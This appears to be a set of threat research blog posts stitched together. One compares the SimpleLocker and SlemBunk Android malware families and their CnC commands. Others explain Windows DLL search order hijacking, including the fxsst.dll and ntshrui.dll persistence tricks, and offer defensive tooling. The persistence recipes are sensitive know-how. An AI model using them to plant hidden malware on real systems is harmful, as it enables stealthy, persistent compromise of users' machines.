Figure 7 shows the major code of MessageReceiver in the previous samples to demonstrate that SimpleLocker and SlemBunk use basically the same process and logic to communicate with the CnC server. First, class MessageReceiver registers itself to handle incoming short messages, whose arrival will trigger its method onReceive. As seen from the figure, the main logics here are basically the same for SimpleLocker and SlemBunk. They first read the value of a particular key from app preferences. Note that the names for the key and shared preference are the same for these two different malware families: key is named “CHECKING_NUMBER_DONE” and preference named “AppPrefs”.  The following steps call method retrieveMessage to retrieve the short messages, and then forward the control flow to class SmsProcessor. The only difference here is that SimpleLocker adds one extra method named processControlCommand to forward control flow.

Class SmsProcessor defines the CnC commands supported by the malware families. Looking into class SmsProcessor, we identified more evidence that SimpleLocker and SlemBunk are of the same origin. First, the CnC commands supported by SimpleLocker are actually a subset of those supported by SlemBunk. In SimpleLocker, CnC commands include "intercept_sms_start", "intercept_sms_stop", "control_number" and "send_sms", all of which are also present in SlemBunk sample. What is more, in both SimpleLocker and SlemBunk there is a common prefix “#” before the actual CnC command. This kind of peculiarity is a good indicator that SimpleLocker and SlemBunk share a common origin.

Figure 7. Class MessageReceiver for SimpleLocker and SlemBunk variants

The task of class MyDeviceAdminReceiver is to request device administrator privilege, which makes these malware families harder to remove. SimpleLocker and SlemBunk are also highly similar in this respect, supporting the same set of device admin relevant functionalities.

At this point, we can see that these variants of SimpleLocker and SlemBunk share four out of five major components and share the same supporting utilities. The only difference is in the final payload, with SlemBunk phishing for banking credentials while SimpleLocker encrypts certain files and demands ransom. This leads us to believe that SimpleLocker came from the same original code base as SlemBunk.


Our analysis confirms that several Android malware families share a common origin, and that the first known file-encrypting ransomware for Android – SimpleLocker – is based on the same code as several banking trojans. Additional research may identify other related malware families.

Individual developers in the cybercrime underground have been proficient in writing and customizing malware. As we have shown, malware with specific and varied purposes can be built on a large base of shared code used for common functions such as gaining administrative privileges, starting and restarting services, and CnC communications. This is apparent simply from looking at known samples related to GM Bot – from SimpleLocker that is used for encryption and ransomware, to SlemBunk that is used as a banking Trojan and for credential theft, to the full-featured MazarBot backdoor.

With the leak of the GM Bot source code, the number of customized Android malware families based on this code will certainly increase. Binary code-based study, one of FireEye Labs’ major research tools, can help us better characterize and track malware families and their relationships, even without direct access to the source code. Fortunately, the similarities across these malware families make them easier to identify, ensuring that FireEye customers are well protected.


[1]. Android Malware About to Get Worse: GM Bot Source Code Leaked
[2]. Android.Bankosy: All ears on voice call-based 2FA
[3]. MazarBOT: Top class Android datastealer
[6]. ESET Analyzes Simplocker – First Android File-Encrypting, TOR-enabled Ransomware


What the fxsst?

If you deal with the same threats that Mandiant does, you may have noticed a lot of malware lately named "fxsst.dll". If you're wondering why this is happening, this article is for you.

When I spend time working solely on reverse engineering malware, I don't often get the whole story with a malware sample. I wasn't curious about the name fxsst.dll until we had a plump stack of malware samples in our library that all had this name and were completely unrelated to each other. A quick check with our incident responders confirmed that in my latest specimen the malware was operational and the persistence mechanism was not immediately apparent. It gave me a flashback of ntshrui.dll from last year and I decided to investigate the issue.

If you try a quick Google search, you will find that fxsst.dll is a legitimate system DLL, specifically the fax server. The DLL is found on most systems that were installed with default settings, though it is an optional feature during the operating system installation process. It resides in the System32 folder, and a search for the DLL on a live system with Process Explorer shows that it is loaded inside the Explorer.exe process. At this point it sounds very similar to the ntshrui.dll problem, but we'll keep digging.

I found that my malware analysis VM did not contain fxsst.dll so I placed a malware DLL of this name in the System32 folder and rebooted. The malware was loaded by Explorer.exe upon reboot. Unlike ntshrui.dll though, there is no mention of fxsst.dll anywhere in the Registry. A string search through Explorer.exe reveals that it is also not loaded directly by the program through its import table or dynamically with LoadLibrary(). A complete search for fxsst.dll through all files revealed it to be referenced by the file stobject.dll in the System32 folder.

Stobject.dll is the System Tray component of the Windows Shell (the tray at the bottom right of your screen). It is loaded by Explorer.exe as an In-Process Server (InprocServer in Windows lingo) and utilized through a COM interface. It is referenced in the Registry as shown below.

With the mystery of stobject.dll solved, we can focus on how it loads fxsst.dll. We also need to figure out what a piece of malware must do to successfully replace the legitimate DLL and still ensure a stable system. The following is the decompiled fragment of stobject.dll which shows the loading of fxsst.dll.

According to this fragment of code if the fxsst.dll file is found it will be loaded and the two functions, IsFaxMessage() and FaxMonitorShutdown() will be resolved and stored in a pair of global function pointers. If the DLL is not found, or if the functions were not found within the DLL, then the global function pointers will be NULL. Let us now examine how these function pointers are used to see if a NULL pointer will adversely affect the program.

The IsFaxMessage() function is used only once, and in the fragment above you can see that the program checks to see if it is NULL before calling the function. If the pointer is NULL, then the program just skips this piece of functionality. The same is the case for FaxMonitorShutdown(). Why does this matter? If a malware replaces fxsst.dll and is loaded by Explorer through stobject.dll, then it doesn't need to implement the fax server function calls. The only repercussion is that the system can no longer act as a fax server, but that is a feature I don't think anyone would notice was missing. The malware authors obviously arrived at the same conclusion.

Since fxsst.dll resides in the System32 folder, is not protected by KnownDlls and is loaded by the Explorer.exe process, it is vulnerable to the same DLL load order hijack as ntshrui.dll. By that I mean you can place a malicious DLL in the C:WINDOWS folder and it will load instead of the legitimate copy in System32. You can also just overwrite the copy in System32 and the user of the system will not notice. Unlike with ntshrui.dll, the malware replacing fxsst.dll doesn't really need to take the extra step of loading the legitimate copy to restore its important functionality. In this case, the original functionality is useless to all but the last few people in the world who still use their Windows computer to receive faxes.

Conclusion (and TL;DR version):

You can take pretty much any malware DLL, name it fxsst.dll and drop it in C:WINDOWS or the System32 folder and Explorer.exe will load it at boot time. No hassle, no fuss. There are bound to be more problematic DLL locations like this, but I'll keep spreading the word as we find them.

DLL Search Order Hijacking Revisited

Since my last blog post on the topic of DLL Search Order Hijacking there has been a lot of community activity in this area. The purpose of this article is to differentiate the specific hijack technique I was describing from the one that is currently being discussed in the media as well as propose my own solution to the problem.

The internet community took notice of DLL hijacking when a link to a security advisory was being passed around Twitter and being discussed by various security industry figureheads. The advisory was produced by a company named Acros Security and can be found here: I was naturally curious about this as it was published only one month after my blog post on the topic and sounded at first very similar. People have been taking this technique and discovering vulnerabilities in many applications, as is visible in the enormous spike in activity on ( on August 24th and 25th.

The key difference in this technique as opposed to the one I described is that it relies on a DLL being placed in the Current Working Directory of the software versus being placed in the Application Directory. In my post I described the scenario in which almost every program is vulnerable to DLL Search Order Hijacking when a DLL can be written to the directory that contains the EXE of the program. The directory containing the EXE is always the very first location in the DLL search order (except for KnownDlls) so the problem is quite wide-spread. This technique makes a great persistence mechanism for malware but is a poor way to attempt to get initial code execution on a system.

The problem currently making headlines comes down to the fact that when most programs recursively enumerate files, they do so by setting the current working directory to each directory they find before examining the files found in that directory. By setting the current working directory to a location, you expose DLLs found in that directory to be a part of the DLL search order and in some cases they will be loaded. The current working directory is fifth in the DLL search order with SafeDllSearchMode enabled (the default on most systems these days) and second in the search order otherwise. Strictly speaking, with a position farther down the chain of DLL search order it is more difficult to exploit this than if one has access to the application directory itself. The reason for all the attention this has received is that many applications will traverse files across a network share, allowing remote infection by applications that both set current working directory for file traversals and have a mechanism where a DLL can be caused to load based on the file type or contents. The now famous example of this is the iTunes example from the advisory where iTunes sets the current working directory to the directory of files it is scanning, then loads a DLL under some circumstances based on the content of the files it finds. With current working directory potentially set to a network share containing a batch of music files, a specifically named rouge DLL could be loaded by the iTunes application. This technique is a great way to get initial code execution on a system but makes a poor malware persistence mechanism.

Many security vendors have been discussing solutions to the problem lately. Many recommend loading DLLs by explicit paths, which is a valid approach. Others have been pressing Microsoft to alter the behavior of DLL loading within operating system, which creates a nightmare of backward compatibility problems.

If setting the current working directory during file traversal leads to potential vulnerabilities in some applications, the logical question to ask is do applications really need to set current working directory to traverse files? The answer is no. Setting current working directory leads to slightly simpler recursive code which is why it was chosen in the first place. All API documentation on the topic of traversing files in a Win32 environment use this approach, including Microsoft's MSDN documentation as well as the two Win32 System programming books on my bookshelf "Windows via C++" and "Windows System Programming".

When a programmer sets out to write code to traverse files they will typically not reinvent the wheel and will most likely use reference code found on the internet or in a book. This is not a knock on the programmers who use reference code, file traversal in Win32 is actually somewhat complicated to understand and implement correctly, especially for the novice programmer. Reference code leading to vulnerabilities is nothing new. For example, open any book on making web database front-ends and you'll probably be writing code that is profoundly vulnerable to SQL injection.

Traversing files without setting current working directory involves building full path strings recursively. The reason this code was mostly likely not chosen to be the reference implementation of file traversal is that it requires string manipulation, which can be error-prone and insecure if done improperly, and requires slightly more code. Let's examine the pseudo-code for each approach.

If path is a file
Else if path is a directory
Save current directory path with GetCurrentDirectory()
Loop over all directory entries with FindFirstFile("*.*") and FindNextFile()
Recurse(directory entry)
SetCurrentDirectory(saved current directory)

In the code above there isn't any string concatenation taking place. Each time we recurse down a directory we saved our current directory, changed the directory before recursing, then restored the current directory when the recursive branch finished. The vulnerability lies in what specifically happens when your application does something like process_file() above. If process_file() for your application could potentially result in a DLL loading, then the current working directory is set to the directory of the file you are processing. Thus the operating system will include this directory in its list of places to look for the DLL. Let's examine a different high level pseudo-code that won't leave us vulnerable to this attack.

If path is a file
Else if path is a directory
Concatenate the path with the wildcard "*"
Loop over all directory entries with FindFirstFile(path with wildcard) and FindNextFile()
Concatenate the path with the directory entry name
Recurse(new directory entry path)

Pseudo code is great for seeing the big picture but the problem, as I have stated, is that the skeleton code people grab from reputable documentation sources which uses the technique that isn't appropriate for their application. I have written a skeleton file traversal program which uses the string concatenation technique as shown here. I've included the same skeleton program that uses the current working directory approach in case any researcher is curious to compare. Both the vulnerable and non-vulnerable skeleton file traversal code can be downloaded here: filetraverse_skeleton_code


Malware Persistence without the Windows Registry

For an attacker to maintain a foothold inside your network they will typically install a piece of backdoor malware on at least one of your systems. The malware needs to be installed persistently, meaning that it will remain active in the event of a reboot. Most persistence techniques on a Microsoft Windows platform involve the use of the Registry. Notable exceptions include the Startup Folder and trojanizing system binaries. Examining malware persistence locations in the Windows Registry and startup locations is a common technique employed by forensic investigators to identify malware on a host. Each persistence technique commonly seen today leaves a forensic footprint which can be easily collected using most forensic software on the market.

The persistence technique I'll describe here is special in that it doesn't leave an easy forensic trail behind. A malware DLL can be made persistent on a Windows host by simply residing in a specific directory with a specific name, with no trace evidence in the registry or startup folder and no modified system binaries. There isn't just one directory location and DLL filename that are candidate locations for this persistence mechanism but rather a whole class of candidate locations exist for any given system. On my laptop (Windows 7 64-bit) there are no less than 1032 such path and DLL name combinations where a DLL could be placed such that it would automatically be loaded at some point during my normal boot-up, and that's just for a 32-bit DLL! If you had a 64-bit malware DLL the number would be much higher as I have many more 64-bit processes running at boot time. So how does this work?

DLL Search Order Hijacking

When an application requests to load a DLL either statically via an import table in its executable file, or dynamically via the LoadLibrary() function the operating system will look for the DLL in a predefined sequence of locations. This sequence is defined in the MSDN documentation here: The most important tidbit of information to take away from that document is that the first place the application looks for a DLL is the location of the executable itself. This isn't always the case though. If the DLL name that is requested is listed in the "\.KnownDlls" object then it will always load from a fixed location (the System32 folder). This object is populated at boot-time using data from the Registry at the following location:

HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerKnownDLLs

Microsoft employee Larry Osterman describes this in a blog post ( He states in the post that the KnownDlls object will be larger in memory than what is in the Registry key and will be built recursively from the statically imported DLLs from any DLL listed in the registry. In the limited testing I've done on Windows XP and Windows 7 systems, the KnownDlls object in memory is identical to the list provided by the KnownDLLs registry key.

Casual browsing of the KnownDlls key will reveal a short list of about 30-35 of the most commonly used DLLs. For example, the low level networking API DLL "ws2_32.dll" is contained in this list. Whenever any application attempts to load a DLL named "ws2_32.dll" it will always load it from the System32 folder because it is listed in this key, regardless of where the application was launched from. The KnownDlls system provides a thin layer of security for this small set of crticial DLLs because an attacker can't simply place a DLL named "ws2_32.dll" inside a folder containing an application which uses ws2_32.dll and expect their local copy to be loaded. The KnownDlls system is far too limited to provide any realistic sense of DLL loading security though. For example, even though we can guarantee that the copy of ws2_32.dll that will be loaded will always be the one from system32, other components loaded when ws2_32.dll is loaded (such as iphlpapi.dll and mswsock.dll) are not guaranteed because they are not covered by KnownDlls.

Lets imagine that we had a legitimate program called update.exe which ran from the location "C:Program FilesMyCompany" and loaded ws2_32.dll, all we would have to do to make update.exe load our malware DLL is place our malware in the "C:Program FilesMyCompany" directory and give it the name "iphlpapi.dll". When the update.exe program runs it loads ws2_32.dll, which in turn loads iphlpapi.dll which it loads from the application directory first before checking the System32 folder where it legitimately resides. All the malware author needs to do is make sure their malicious iphlpapi.dll eventually loads the real thing and the user of the system (and a forensic analyst most likely) will have no idea that malware has been loaded.

Real-World Usage

You might have come to the conclusion in reading the description of the problem above that executables which reside in the System32 folder are not susceptible. If you thought that, you'd be correct. If you also thought that there is no real practical problem because all consistent and reliably placed startup binaries exist in the System32 folder, you'd be incorrect. Case-in-point: Explorer.exe . Strangely, this binary resides in C:Windows (I assume for historic reasons). So when explorer.exe launches and it requests a DLL that is not protected by KnownDlls, the first place the system looks to find the DLL is the C:Windows directory. Thus far, the most common place we've found this malware persistence technique being used is in the location and name "C:Windowsntshrui.dll". The real ntshrui.dll is located in the System32 folder but since this dll is loaded by Explorer.exe and not protected by KnownDlls, it's unfortunately susceptible to DLL search order hijacking.

The Extent of the Problem

Once you really understand the nature of the problem it may occur to you that it's a very widespread and pervasive issue. It has always existed in Windows and will likely exist for the foreseeable future. To alter the DLL search path mechanism could have severe backward-compatibility problems for Windows and is most likely not going to happen due to the high value they have always placed in compatibility (We love you Raymond Chen!). I've written a program to identify all locations and filenames that a DLL could be placed to achieve persistence on a given system. The idea is that you can run this program on a clean (Gold Image) system and forensically search for any DLL name listed in the output on a machine you suspect of being compromised with this method of persistence. Similar programs may be developed to attempt to identify hijacked DLLs on a live system. I chose to write this program first however because its output helps to explain the extent of the problem. I ran the program on my laptop and it produced output which contained 1032 lines, each describing a location and filename that a DLL could be placed to be loaded at boot-time by my system. On a clean XP SP2 machine I get 91 locations listed. Here are a few lines from the output from my laptop:

Hijackable Location: C:Program Files (x86)iTunesSspiCli.dll
Hijackable Location: C:Program Files (x86)iTunesCRYPTBASE.dll
Hijackable Location: C:Program Files (x86)iTunesCoreFoundation.dll
Hijackable Location: C:Program Files (x86)iTunesMSVCR80.dll

According to this output, some program that loads when my system boots (most likely iTunes) attempts to load the DLL named "CRYPTBASE.DLL" which is commonly found in the System32 folder but an attacker could place a malicious DLL in the iTunes folder and that would be loaded instead. The program examines running processes and determines hijackable DLL locations by the following properties (applied to each loaded dll in every running process in the system):

  1. The process executable that loaded the DLL is not located in the System32 folder
  2. The DLL name is not found in the KnownDlls object
  3. The DLL is not found in the same directory as the executable

Any loaded DLL that contains all three properties is susceptible to being trumped by search order hijacking.

The tool (compiled and source) to identify possibly malicious 32-bit DLL locations from a clean system can be found here.